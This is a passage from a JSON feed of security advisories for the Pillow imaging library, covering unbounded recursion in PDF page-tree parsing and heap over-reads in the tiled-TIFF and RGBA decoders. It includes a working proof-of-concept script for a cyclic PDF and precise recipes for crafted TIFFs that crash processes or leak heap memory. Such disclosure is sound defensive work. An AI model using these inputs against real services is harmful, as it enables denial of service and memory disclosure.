SystemExit(main())\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-20T20:51:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-pchr-8j38-3x4p","https://nvd.nist.gov/vuln/detail/CVE-2026-112896","https://github.com/python-pillow/Pillow/commit/d03dc3c587a9b0bdc9e4304d70d59a635a87b742","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-pchr-8j38-3x4p"],"source_kind":"github","identifiers":["GHSA-pchr-8j38-3x4p","CVE-2026-112896"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-20T21:00:07.783Z","updated_at":"2026-12-03T11:01:22.597Z","epss_percentage":0.00475,"epss_percentile":0.42659,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wY2hyLThqMzgtM3g0cM4AB-fz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wY2hyLThqMzgtM3g0cM4AB-fz","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003c= 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wY2hyLThqMzgtM3g0cM4AB-fz/related_packages","related_advisories":[{"uuid":"CVE-2026-112896","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112896.json"},{"uuid":"UBUNTU-CVE-2026-112896","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112896","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112896"}]},{"uuid":"GSA_kwCzR0hTQS1wNHdnLXA3M2otYzUyOM4AB-fy","url":"https://github.com/advisories/GHSA-p4wg-p73j-c528","title":"Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)","description":"### Summary\nWhen an application appends to an existing PDF with `Image.save(..., format=\"PDF\", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.\n\n### Details\n`linearize_page_tree` recurses on `/Kids` with no cycle or depth check:\n\n- `src/PIL/PdfParser.py:1078-1092`\n\n`read_prev_trailer` catches only a repeated offset:\n\n- `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it)\n\n### PoC\n```python\nfrom PIL import PdfParser\n\n# A page tree whose /Pages nodes reference each other in a cycle (2 -\u003e 3 -\u003e 2).\nobjs = {\n    1: b\"\u003c\u003c /Type /Catalog /Pages 2 0 R \u003e\u003e\",\n    2: b\"\u003c\u003c /Type /Pages /Kids [3 0 R] /Count 1 \u003e\u003e\",\n    3: b\"\u003c\u003c /Type /Pages /Kids [2 0 R] /Count 1 \u003e\u003e\",\n}\nbuf = bytearray(b\"%PDF-1.4\\n\")\noff = {}\nfor oid in (1, 2, 3):\n    off[oid] = len(buf)\n    buf += b\"%d 0 obj\\n\" % oid + objs[oid] + b\"\\nendobj\\n\"\nxref = len(buf)\nbuf += b\"xref\\n0 4\\n0000000000 65535 f \\n\"\nbuf += b\"\".join(b\"%010d 00000 n \\n\" % off[o] for o in (1, 2, 3))\nbuf += b\"trailer\\n\u003c\u003c /Root 1 0 R /Size 4 \u003e\u003e\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref\nopen(\"poc.pdf\", \"wb\").write(buf)\n\nPdfParser.PdfParser(\"poc.pdf\", mode=\"r+b\")   # append=True parses the existing file the same way\n```\n\nRun it:\n```\n$ python 11_poc.py\nRecursionError: maximum recursion depth exceeded\n```\n\nThe 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion.\n\n### Impact\nA service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-20T20:50:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-p4wg-p73j-c528","https://nvd.nist.gov/vuln/detail/CVE-2026-112895","https://github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bf","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-p4wg-p73j-c528"],"source_kind":"github","identifiers":["GHSA-p4wg-p73j-c528","CVE-2026-112895"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-20T21:00:07.783Z","updated_at":"2026-12-03T11:01:22.597Z","epss_percentage":0.00594,"epss_percentile":0.49777,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNHdnLXA3M2otYzUyOM4AB-fy","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wNHdnLXA3M2otYzUyOM4AB-fy","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 5.1.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNHdnLXA3M2otYzUyOM4AB-fy/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-112895","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112895","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112895"},{"uuid":"CVE-2026-112895","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112895.json"}]},{"uuid":"GSA_kwCzR0hTQS00NjJ4LXBnZzYtNTVmcM4AB-fx","url":"https://github.com/advisories/GHSA-462x-pgg6-55fp","title":"Pillow tiled-TIFF decoder reads past tile buffer in copy4 (Unpack.c:1290)","description":"### Summary\n\nPillow's libImaging `_decodeTile` decoder, used to decode tiled TIFF images, allocates a per-tile buffer using `realloc(state-\u003ebuffer, TIFFTileSize(tiff))`. After each `TIFFReadTile` it then iterates `tile_y` from 0 up to `current_tile_length` and calls the configured row unpacker (here `copy4`) with the source pointer `state-\u003ebuffer + tile_y * row_byte_size`. When libtiff returns a `tile_bytes_size` smaller than the worst-case `row_byte_size * tile_length`, the inner stride-and-copy loop walks past the realloc'd region and `copy4` performs a 1024-byte `memcpy` that reads up to `(tile_length-1) * row_byte_size + row_byte_size` bytes from a buffer sized only to `tile_bytes_size`. The supplied PoC TIFF triggers a 1024-byte over-read exactly 0 bytes past a 196608-byte allocation. An attacker who can convince a Pillow-using application to decode a crafted TIFF can trigger a process crash (DoS) and may cause adjacent heap memory to be copied into the decoded pixel buffer.\n\n### Details\n\nPillow's TIFF decoder, when libtiff reports the file is tiled, takes the `_decodeTile` path. The function:\n\n1. Asks libtiff for `TIFFTileSize(tiff)` (the bytes-per-tile) and `TIFFTileRowSize(tiff)` (the bytes per row *as stored by libtiff*).\n2. Reallocates `state-\u003ebuffer` to exactly `tile_bytes_size`.\n3. For each tile origin `(x, y)` and each plane, calls `TIFFReadTile` into `state-\u003ebuffer`, then walks the tile row by row, calling the configured `ImagingShuffler` (here `copy4`) on each row's worth of source bytes.\n\nThe validation done before the loop is:\n\n```c\nif (tile_bytes_size \u003e ((tile_length * state-\u003ebits / planes + 7) / 8) * tile_width) {\n    state-\u003eerrcode = IMAGING_CODEC_BROKEN;\n    return -1;\n}\n```\n\nThis rejects oversized libtiff tiles, but it does **not** reject *undersized* ones — i.e. the case where libtiff returns a `tile_bytes_size` strictly **less** than `row_byte_size * tile_length`. The loop body, however, indexes into the buffer assuming the buffer is at least `row_byte_size * tile_length` bytes long.\n\n### Vulnerable Code\n\n```c\n// src/libImaging/TiffDecode.c:446-490 — _decodeTile\nnew_data = realloc(state-\u003ebuffer, state-\u003ebytes);   // bytes = tile_bytes_size\nif (!new_data) { ... }\nstate-\u003ebuffer = new_data;\n\nfor (y = state-\u003eyoff; y \u003c state-\u003eysize; y += tile_length) {\n    for (plane = 0; plane \u003c planes; plane++) {\n        ImagingShuffler shuffler = unpackers[plane];\n        for (x = state-\u003exoff; x \u003c state-\u003exsize; x += tile_width) {\n            if (TIFFReadTile(tiff, (tdata_t)state-\u003ebuffer, x, y, 0, plane) == -1) { ... }\n\n            current_tile_width  = min((INT32)tile_width,  state-\u003exsize - x);\n            current_tile_length = min((INT32)tile_length, state-\u003eysize - y);\n            for (tile_y = 0; tile_y \u003c current_tile_length; tile_y++) {\n                shuffler(\n                    (UINT8 *)im-\u003eimage[tile_y + y] + x * im-\u003epixelsize,\n                    state-\u003ebuffer + tile_y * row_byte_size,   // \u003c-- OOB stride\n                    current_tile_width\n                );\n            }\n        }\n    }\n}\n```\n\n```c\n// src/libImaging/Unpack.c:1288-1291 — copy4 (the crash site)\nstatic void\ncopy4(UINT8 *out, const UINT8 *in, int pixels) {\n    /* RGBA, CMYK quadruples */\n    memcpy(out, in, 4 * pixels);   // \u003c-- ASAN-detected READ here\n}\n```\n\nThe PoC's tile metadata yields `tile_width = tile_length = 256`, `row_byte_size = 1024` (4 bytes/pixel × 256 pixels), and `tile_bytes_size = 196608` (which is 256·256·3 = three-channel-byte storage). The realloc'd buffer is 196608 bytes. The unpacker iterates `tile_y` from 0 to 255 and for the highest rows the source pointer `state-\u003ebuffer + tile_y * 1024` already lies at or past offset 196608 — the very last row's `memcpy(in=buffer+255·1024, 1024)` reads 1024 bytes starting `260096 - 196608 = 63488` bytes past the allocation; ASAN flags the very first byte past the heap region (`READ of size 1024 at … 0 bytes after 196608-byte region`).\n\nThe mismatch is real: libtiff's `TIFFTileSize` returns the *packed* per-tile storage (which depends on the file's photometric/separation layout — it can legitimately be smaller than `row_byte_size × tile_length`), while the inner loop strides as if the buffer always equals `row_byte_size × tile_length`.\n\n\n## Attribution\n\nThis issue was found by Anthropic from using Claude to study security of open source projects, and I am from Ada Logics helping validate the found issues and report to maintainers. The data in this report has been reviewed manually.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-20T20:49:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-462x-pgg6-55fp","https://nvd.nist.gov/vuln/detail/CVE-2026-112395","https://github.com/python-pillow/Pillow/commit/76869efdbbf2ad7dccd7536520fb61b7a00ab61e","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-462x-pgg6-55fp"],"source_kind":"github","identifiers":["GHSA-462x-pgg6-55fp","CVE-2026-112395"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-20T21:00:07.783Z","updated_at":"2026-12-03T11:01:22.598Z","epss_percentage":0.00518,"epss_percentile":0.45545,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NjJ4LXBnZzYtNTVmcM4AB-fx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NjJ4LXBnZzYtNTVmcM4AB-fx","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 8.2.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NjJ4LXBnZzYtNTVmcM4AB-fx/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-112395","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112395","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112395"},{"uuid":"CVE-2026-112395","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112395.json"}]},{"uuid":"GSA_kwCzR0hTQS1jNmh3LTVncmYtZmY5Ns4AB-fw","url":"https://github.com/advisories/GHSA-c6hw-5grf-ff96","title":"Pillow: OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels","description":"```\n============================================================================\nOOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels\nLocation: src/libImaging/TiffDecode.c:483  in _decodeTile()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nPillow reads past the end of a heap buffer when decoding certain malformed compressed TIFF files, and copies the bytes it reads into the pixels of the image it returns. An attacker who can get an application to open and load an image file, for example by uploading it to a service that returns thumbnails, previews or converted images, gets back fragments of that process's heap memory, including pointer values. A slightly larger file instead crashes the process. No special settings are needed, and nothing is written out of bounds.\n\nThe bug is in `_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c`. Both size their decode buffer from libtiff's view of the pixel layout (`TIFFTileSize()`/`TIFFTileRowSize()`, or `img.width * 4`). They then unpack each row with the unpacker that `TiffImagePlugin._setup()` chose from Pillow's own parse of the directory, and neither checks that the unpacker's input row fits inside the row libtiff produced. `_decodeStrip()` has exactly this check, added for OSS-Fuzz `crash-0da0` in 8.2.0, but the tile and RGBA paths never got it.\n\nThe two parsers can be made to disagree with a duplicated `PhotometricInterpretation` or `BitsPerSample` tag, because libtiff keeps the first occurrence and Pillow keeps the last. Pillow then unpacks 4 to 8 bytes per pixel from rows that libtiff filled with 1 to 4 bytes, so the last rows of each tile are read from beyond the buffer. The disclosed memory is a few tile rows past the buffer, and the attacker chooses the tile width. The amount does not grow with the number of tiles, because the buffer is reused for every tile.\n\nThe tile half was introduced in 1c295bf43 (first released in 8.2.0). The RGBA half was introduced in eb8c1206d, the CVE-2020-35654 fix (8.1.0).\n\nThe attached reproducer runs against an unmodified build. It writes three roughly 400-byte files that load without error, yet the last pixel rows of each change with glibc's malloc fill pattern and contain heap pointer bytes. A fourth file with a 65536x16 tile segfaults in `copy4` ← `_decodeTile` (`TiffDecode.c:483`) in most runs, depending on what is mapped after the buffer.\n\n## Details\n\n`_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c` size `state-\u003ebuffer` from what libtiff says it will produce (`TIFFTileSize()`, resp. `img.width * 4`), but unpack each row with the shuffler that `TiffImagePlugin._setup()` selected from Pillow's *own* parse of the IFD. Nothing in either function checks that the unpacker's input row (`width * state-\u003ebits / 8` bytes) fits inside the row libtiff wrote. `_decodeStrip()` has exactly that check; the other two do not. Whenever the two IFD parsers disagree about the pixel layout — a tag with the wrong count or type that libtiff ignores but Pillow accepts, or a duplicated `PhotometricInterpretation`/`BitsPerSample`/`SamplesPerPixel` entry (libtiff keeps the first occurrence, `ImageFileDirectory_v2.load()` the last) — the unpacker reads past the end of the heap buffer and the bytes it reads become pixels of the returned image. Any Pillow rawmode wider than libtiff's actual sample layout works (`RGBX`, `RGB;16N`, `RGBA;16N`, `I;32`, `F;32F`, …); `RGBA;16N` (64 bits/pixel) against 1-bit libtiff data is the largest ratio, where every row after the first of each tile is read almost entirely from beyond the buffer.\n\nThe ~400-byte TIFF `tile_count2.tif` generated by the reproducer — one 16x16 tile, `BitsPerSample 8`, `SamplesPerPixel 1`, `Compression 8` (Adobe Deflate), and `PhotometricInterpretation` written as a SHORT with **count 2** (`6, 6`) — is opened by `Image.open()` as mode `RGB` with libtiff rawmode `RGBX`, and `load()` succeeds on the stock build. Rows 13–15 of the result contain bytes that lie 16, 32 and 48 bytes past the 256-byte tile buffer: decoding the same file twice under `MALLOC_PERTURB_=85` and `=170` yields identical rows 0–12 and different bytes in rows 13–15 (`aa` vs `55`, i.e. glibc's fill pattern). Under an ASan build of the extensions the same `load()` reports `heap-buffer-overflow READ of size 64` in `copy4` (`src/libImaging/Unpack.c:1290`) called from `src/libImaging/TiffDecode.c:483`, against the 256-byte region allocated at `TiffDecode.c:448`. The same layout with a single 65536x16 tile (4.5 KB file) makes the stock build SIGSEGV in `copy4 ← _decodeTile` reading an unmapped address in most runs (whether it faults depends on what is mapped after the 1 MiB buffer; a wider tile makes it reliable).\n\n### Why the two parsers disagree\n\nlibtiff 4.5 rejects a `PhotometricInterpretation` entry whose count is not 1 (`TIFFFetchNormalTag: Incorrect count for \"PhotometricInterpretation\"; tag ignored`), so for this file `TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, …)` returns 0 and libtiff treats the data as one 8-bit sample per pixel: `TIFFTileSize() = 256`, `TIFFTileRowSize() = 16`.\n\nPillow keeps the first value and carries on:\n\n```python\n# src/PIL/TiffImagePlugin.py:762-770  (ImageFileDirectory_v2._setitem, reached from load())\n            try:\n                (dest[tag],) = values\n            except ValueError:\n                # We've got a builtin tag with 1 expected entry\n                warnings.warn(f\"Metadata Warning, tag {tag} had too many entries: ...\")\n                dest[tag] = values[0]\n```\n\nso `_setup()` sees `photo == 6`. `OPEN_INFO[(II, 6, (1,), 1, (8,), ())]` is `(\"L\", \"L\")`, and because the file is compressed the libtiff branch then overrides the rawmode:\n\n```python\n# src/PIL/TiffImagePlugin.py:1578, 1600-1607\n        self.use_load_libtiff = READ_LIBTIFF or self._compression != \"raw\"\n        …\n            if photo == 6:\n                self._mode = \"RGB\"\n                if self._compression in \"jpeg\" and self._planar_configuration == 1:\n                    rawmode = \"RGB\"\n                else:\n                    rawmode = \"RGBX\"\n```\n\n`RGBX` is a 32-bit rawmode, so `get_unpacker()` (`src/decode.c:301-309`) sets `state-\u003ebits = 32` and `state-\u003eshuffle = copy4`. The intent of the `photo == 6` override is that libtiff will deliver RGBA through `TIFFRGBAImage`, but that decision is made in C from *libtiff's* reading of the tag, which here is \"not YCbCr\":\n\n```c\n// src/libImaging/TiffDecode.c:737-764\n    TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, \u0026photometric);   // unset -\u003e stays 0\n    …\n    readAsRGBA = photometric == PHOTOMETRIC_YCBCR;          // 0\n    …\n        if (TIFFIsTiled(tiff)) {\n            _decodeTile(im, state, tiff, planes, unpackers); // unpackers[0] = copy4\n```\n\n### The missing check\n\n`_decodeTile()` only guards against libtiff's tile being *larger* than what the unpacker expects, then allocates exactly `TIFFTileSize()` bytes and feeds `row_byte_size`-strided rows to the shuffler:\n\n```c\n// src/libImaging/TiffDecode.c:403-487  (_decodeTile)\n    tile_bytes_size = TIFFTileSize(tiff);                      // 256\n    …\n    row_byte_size = TIFFTileRowSize(tiff);                     // 16\n    …\n    if (tile_bytes_size \u003e ((tile_length * state-\u003ebits / planes + 7) / 8) * tile_width) {\n        // 256 \u003e 1024 is false -\u003e no abort\n        …\n    }\n    state-\u003ebytes = tile_bytes_size;\n    new_data = realloc(state-\u003ebuffer, state-\u003ebytes);           // 256-byte buffer (line 448)\n    …\n                for (tile_y = 0; tile_y \u003c current_tile_length; tile_y++) {\n                    shuffler(                                   // copy4: reads current_tile_width*4 = 64 bytes\n                        (UINT8 *)im-\u003eimage[tile_y + y] + x * im-\u003epixelsize,\n                        state-\u003ebuffer + tile_y * row_byte_size, // from offset 16*tile_y\n                        current_tile_width\n                    );\n```\n\nRow `tile_y` is read from `[16·tile_y, 16·tile_y + 64)`; for `tile_y` = 13, 14, 15 that ends 16, 32, 48 bytes past the 256-byte allocation. In general the last rows of every tile over-read by up to `(state-\u003ebits / libtiff_bits_per_pixel − 1) × row_byte_size` bytes, and `row_byte_size` scales with the attacker-chosen `TileWidth`.\n\nNote also that the existing one-sided check at line 434 multiplies the file-controlled `tile_width`/`tile_length` (`UINT32`, accepted up to `INT_MAX` at line 428) by `state-\u003ebits` in 32-bit unsigned arithmetic, so `tile_width * state-\u003ebits` wraps for `tile_width ≥ 2^32 / bits` (2^26 for the 64-bit rawmodes, 2^27 for `RGBX`/`I;32`/`F;32F`). An 8 KB file declaring a 2,097,152×1 image with `TILEWIDTH = 2^26+16`, `TILELENGTH = 1`, 1-bit data for libtiff and `RGBA;16N` for Pillow makes libtiff allocate an ~8 MB tile from which `unpackRGBA16L` reads 16 MB, and the stock build SIGSEGVs in `unpackRGBA16L ← _decodeTile (TiffDecode.c:483)`; a row-size comparison written in the same 32-bit arithmetic as line 434 would evaluate that row to 128 bytes and still accept it, so the new check must be done in a 64-bit type.\n\nCompare the strip path, which refuses this situation (added for OSS-Fuzz `crash-0da0` in 8.2.0):\n\n```c\n// src/libImaging/TiffDecode.c:528-548  (_decodeStrip)\n    unpacker_row_byte_size = (state-\u003exsize * state-\u003ebits / planes + 7) / 8;\n    …\n    row_byte_size = TIFFScanlineSize(tiff);\n    // if the unpacker calculated row size is \u003e row byte size, (at least) the last\n    // row of the strip will have a read buffer overflow.\n    if (row_byte_size == 0 || unpacker_row_byte_size \u003e row_byte_size) {\n        state-\u003eerrcode = IMAGING_CODEC_BROKEN;\n        return -1;\n    }\n```\n\nThe identical file written with one strip instead of one tile fails `load()` with `OSError: decoder error -2` because of this check.\n\n### Same gap in `_decodeAsRGBA()`\n\n`_decodeAsRGBA()` always produces `img.width * 4` bytes per row (`TiffDecode.c:325`, buffer allocated at line 339) and unpacks with `state-\u003eshuffle` (line 373) without looking at `state-\u003ebits`. It is reached when *libtiff* sees YCbCr while Pillow does not force `RGBX`. libtiff marks later duplicates of a tag as ignored (first occurrence wins); Pillow's `ImageFileDirectory_v2.load()` overwrites (`TiffImagePlugin.py:945`, last wins). The reproducer's `ycbcr_dup.tif` is a 16x16 Deflate strip with `PhotometricInterpretation` present twice (`6`, then `2`) and `BitsPerSample` twice (`8,8,8`, then `16,16,16`): libtiff decodes 8-bit YCbCr into a 1024-byte RGBA raster, Pillow selects `RGB;16N` (`state-\u003ebits = 48`), and `unpackRGB16L` reads 96 bytes per 64-byte row — ASan reports `heap-buffer-overflow` in `unpackRGB16L` (`Unpack.c:609`) from `TiffDecode.c:373`, past the 1024-byte region from `TiffDecode.c:339`.\n\nThe count-2 encoding is not the only lever, and on released versions it is not a lever at all: a 1-sample `photo == 6` file only gets rawmode `RGBX` since the unreleased commit 155330d63 (\"Do not open YCbCr colorspace images as RGB without libtiff (#9779)\", 2026-08-26). Released versions are reached through duplicated tags instead. A 3-sample tiled file with two `PhotometricInterpretation` entries (`1` or `2`, then `6`) produces the same `copy4` ← `_decodeTile` over-read, since libtiff keeps the first value and decodes 3 bytes per pixel while Pillow keeps `6` and unpacks 4 (the reproducer's `tile_dup.tif`). `ycbcr_dup.tif` above reaches `_decodeAsRGBA()` the same way.\n\n## Impact\n\nAny application that calls `Image.open()` + `load()` (or `thumbnail()`, `convert()`, `save()`, …) on an untrusted file reaches this with default settings: the file is content-sniffed as TIFF, and any compressed TIFF is decoded through libtiff and `TiffDecode.c` without `READ_LIBTIFF` being set. The over-read bytes are copied into the image's pixel rows, so a service that returns a thumbnail, preview or converted image hands adjacent heap memory back to the uploader, heap pointer values included — up to three libtiff tile rows past the buffer for the `RGBX`-over-8-bit case, with the tile row length (`TileWidth`) chosen by the attacker. `state-\u003ebuffer` is allocated once and reused for every tile, so each tile re-reads the same region past that one buffer; the distinct heap disclosed per image is about `(unpacker_bpp / libtiff_bpp − 1)` tile rows and does not grow with the tile count. With a wide tile the read runs off the mapping and the process segfaults instead (the 65536x16 case crashes the stock build in most runs, depending on what is mapped after the buffer), taking down the whole worker rather than one request. Writes go to the correctly sized `Imaging` rows, so this is disclosure / crash, not memory corruption.\n\nThis is the same family as CVE-2020-35654 (Pillow and libtiff interpreting a YCbCr IFD differently in `TiffDecode.c`); that fix and the later `crash-0da0` fix closed the write and the strip-path read, but the tile path and the RGBA path still trust Pillow's rawmode over libtiff's row size. The tile-path gap was introduced in 1c295bf43c3a (\"Check for dimensions and sizes to fit into int\", 2021-01-25), which switched `_decodeTile()` from a buffer sized by Pillow's unpacker to `TIFFTileSize()`/`TIFFTileRowSize()`; it is first in Pillow 8.2.0. The `_decodeAsRGBA()` half dates from eb8c1206d6b1 (\"Fix CVE-2020-35654 - OOB Write in TiffDecode.c\"), first in 8.1.0.\n\n## Reproducing\n\nRun `repro` (a single Python 3 script) against the installed, unmodified Pillow. No sanitizer build is needed. It writes four TIFFs into a temporary directory, decodes each one in a child process, and removes the directory at the end.\n\nThe script writes its TIFFs byte by byte with a small classic-TIFF writer. Each file has a single IFD and a single Deflate-compressed block. Deflate is only there so the file is decoded by libtiff and `TiffDecode.c`. Every pixel byte in the compressed data is defined, so the decoded image should not depend on anything else in the process:\n\n- **`tile_count2.tif`**: a 16x16, 1-sample, 8-bit tile with `PhotometricInterpretation` written as SHORT count 2, `(6, 6)`. Pillow keeps `6` and unpacks with `copy4` (`RGBX`, 4 bytes per pixel). libtiff ignores the tag and decodes 1 byte per pixel. This lever needs 155330d63 (unreleased).\n- **`tile_dup.tif`**: a 16x16, 3-sample, 8-bit tile with `PhotometricInterpretation` present twice, `2` then `6`. libtiff keeps `2` (RGB, 3 bytes per pixel) and Pillow keeps `6` (`RGBX`, 4 bytes per pixel). This variant also applies to released versions.\n- **`ycbcr_dup.tif`**: the 16x16 strip with `BitsPerSample` `8,8,8` then `16,16,16` and `PhotometricInterpretation` `6` then `2`. libtiff decodes 8-bit YCbCr through `_decodeAsRGBA()` (4 bytes per pixel), and Pillow unpacks `RGB;16N` with `unpackRGB16L` (6 bytes per pixel).\n- **`tile_big.tif`**: the `tile_count2.tif` layout with a single 65536x16 tile.\n\nFor each of the first three files, the script runs `Image.open()` + `load()` + `tobytes()` twice, once with `MALLOC_PERTURB_=85` and once with `=170`. If the two outputs differ, bytes from beyond the decode buffer have become pixels. In that case it prints the first differing offset and the bytes around it from both runs. On this tree all three differ in their last rows: the `aa`/`55` fill bytes show up, along with heap pointer bytes. The script then decodes `tile_big.tif` and checks for a SIGSEGV (exit status -11). If `gdb` is available, it prints the top frames: `copy4` (`Unpack.c:1290`) ← `_decodeTile` (`TiffDecode.c:483`) ← `ImagingLibTiffDecode`. This crash depends on ASLR, so an occasional run may survive.\n\nEach step prints which `_imaging` build it used and how Pillow opened the file (mode, size and rawmode). The script ends with a one-line summary. The last line is `BUG` if any file leaked heap bytes into its pixels or the big tile crashed the process. Otherwise it is `OK`.\n\n## Suggested fix\n\nThe attached patch restores the `_decodeStrip()` invariant (the unpacker's input row must fit inside libtiff's row) in the two sibling decoders in `src/libImaging/TiffDecode.c`, at the point where each one sizes its buffer:\n\n- `_decodeTile()` computes `unpacker_row_byte_size = ((tsize_t)tile_width * state-\u003ebits / planes + 7) / 8` (the `tsize_t` cast keeps the product out of 32-bit arithmetic, so the `TILEWIDTH = 2^26+16` case above cannot wrap past the check on 64-bit builds). It reuses that value for the existing `TIFFTileSize()` sanity check, as `_decodeStrip()` does for strips. After that check and before the `realloc`, it fails with `IMAGING_CODEC_BROKEN` when `unpacker_row_byte_size \u003e row_byte_size` (`TIFFTileRowSize()`).\n- `_decodeAsRGBA()` fails with `IMAGING_CODEC_BROKEN` when `state-\u003ebits \u003e 32`, because `TIFFRGBAImage` rows are always 32 bits per pixel. This check runs before `TIFFRGBAImageBegin()` and any allocation.\n\nWith the patch, the tile and RGBA files fail `load()` with `OSError: decoder error -2`, the same result the equivalent strip file already gets. The patch also adds a regression test to `Tests/test_file_libtiff.py` (`test_unpacker_row_wider_than_libtiff_row`). The test embeds the count-2 tile and the duplicated-tag YCbCr strip as base64, following the file's existing convention. The patch was applied to a clean tree and rebuilt: the reproducer no longer triggers, and `Tests/test_file_tiff.py`, `Tests/test_file_libtiff.py` and `Tests/test_tiff_crashes.py` pass.\n\nThese checks close the over-read however the two parsers are made to disagree. Separately, `_setup()` could stop deriving the libtiff rawmode from tags that libtiff will read differently — e.g. treat a `PhotometricInterpretation`/`BitsPerSample`/`Compression` that is not a single well-typed value as \"unknown pixel mode\", the way `ImageWidth`/`ImageLength` are already required to be `int` at `TiffImagePlugin.py:1473`, or have `ImageFileDirectory_v2.load()` keep the first occurrence of a repeated tag as libtiff does (a behaviour change for malformed IFDs that is better made deliberately and separately) — but that only narrows the ways to reach the C-side gap rather than removing it: `TiffImagePlugin` cannot know how libtiff will resolve every malformed directory, and the decoder-side comparisons are what actually bound the read.\n\n## The patch\n\nReject TIFFs whose unpacker row is wider than libtiff's decoded row in _decodeTile() and _decodeAsRGBA(), as _decodeStrip() already does\n\nApplies to `src/libImaging/TiffDecode.c` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_libtiff.py 